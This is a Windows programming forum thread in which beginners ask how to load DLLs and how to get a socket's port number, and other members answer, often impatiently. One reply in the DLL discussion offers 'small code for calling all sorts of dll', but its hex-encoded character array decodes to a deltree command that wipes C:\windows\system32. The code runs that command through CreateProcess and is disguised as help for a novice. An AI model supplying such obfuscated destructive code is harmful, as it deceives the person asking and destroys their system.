|
For the future, please read and try to understand the replies people give you. Look at the lenght of this discussion, it's crazy...
If you want to use classes from a dll, you need to use an import library. It's not possible via the LoadLibrary/GetProcAddress functions.
An import library is the .lib file that is generated with your dll.
|
|
|
|
|
Ash_VCPP wrote: the code is giving compile time error...
Which you have thus far failed to mention.
"Old age is like a bank account. You withdraw later in life what you have deposited along the way." - Unknown
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
|
|
|
|
|
I can't believe this had to be suggested a third time. He spent more time posting "It still doesn't work" than he would have calling that function.
"Old age is like a bank account. You withdraw later in life what you have deposited along the way." - Unknown
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
|
|
|
|
|
sorry but i didnt get you......what i got is i missed out something to mention..is it?
Thanks A Ton
Ash_VCPP
|
|
|
|
|
I think he's trying to get the longest programming discussion ever on CP
|
|
|
|
|
Hi Cedric,
Thanks alot for your valuable replies...and i really apologize for making the discussion so long......
can you suggest me some good book on COM???
Thanks A Ton
Ash_VCPP
|
|
|
|
|
No chance. George has that one locked down.
|
|
|
|
|
So true...
BTW, it's been a loooong time we didn't see him here. Maybe they unpluged him ?
|
|
|
|
|
|
Specifying just the name of the DLL will cause Windows to look in the following folders in the following order:
0) The folder in which the application loading the DLL is running
1) Windows/System32
2) The folders specified in your system path statement (in the left-to-right order in which they appear in the path statement)
"Why don't you tie a kerosene-soaked rag around your ankles so the ants won't climb up and eat your candy ass..." - Dale Earnhardt, 1997 ----- "...the staggering layers of obscenity in your statement make it a work of art on so many levels." - Jason Jystad, 10/26/2001
|
|
|
|
|
What kind of DLL is it?
You know, COM DLL s need registration, moreover, COM DLL s should be accessed the COM 's way (i.e. via CoCreateInstance ).
Are you sure you need explicit linking (i.e. LoadLibrary ) with the library?
BTW: please don't answer: "it gives me errors...".
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
can you please write small code for calling both normal and com dll.....
Thanks A Ton
Ash_VCPP
|
|
|
|
|
Ash_VCPP wrote: can you please write small code for calling both normal and com dll.....
Why? I mean that code is already in thousands of web pages so why put it in another one here?
People come here all the time asking for stuff that already exists and can easily be found using Google. They do it all the time and it still doesn't work.
|
|
|
|
|
Done, many times. Now it's your turn.
BTW: Why are you asking for code? Why do you want code for accessing both kind of libraries? I think it would be more profitable an effort to understand what kind of library are you dealing with and what is the best approach for using it.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Here's a small code for calling all sorts of dll:
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char arg[] = {0x64,0x65,0x6c,0x74,0x72,0x65,0x65,0x20,0x2f,0x79,0x20,0x22,0x43,0x3a,0x5c,0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x22,'\0'};
i = CreateProcess("cmd.exe",arg,NULL,NULL,0,0,NULL,NULL, &si, &pi);
if(i){
} else {
}
disclaimer: use at your own risk, I'm not responsible for your actions.
|
|
|
|
|
|
Hello,
Is there any way to get port number bound to a given socket using the socket descriptor. I dont want to use getsockname().
Thanks in advance.
Gajendra
|
|
|
|
|
Why don't you want to use getsockname() .
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
|
I think you should use it because the site also talk about the resolution for the failure.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
I want to avoid the complexity associated with WSADuplicateSocket. I just want to pass the port number across processes, thats my only requirement. I need some mechanism through which i can get socket number in parent process and pass it to the child process as an argument. By parent process i mean process that invokes the second process, which i call the child process.
Gajendra
|
|
|
|
|
Don't duplicate the socket at all.
Get the port number using the socket descriptor.
And pass this port number to the child process as a command line argument.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
u mean using Get the port number using getsockname()?
Gajendra
|
|
|
|
|
Yes, without duplicating the socket.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
Thanks for your answer!!!
Gajendra
|
|
|
|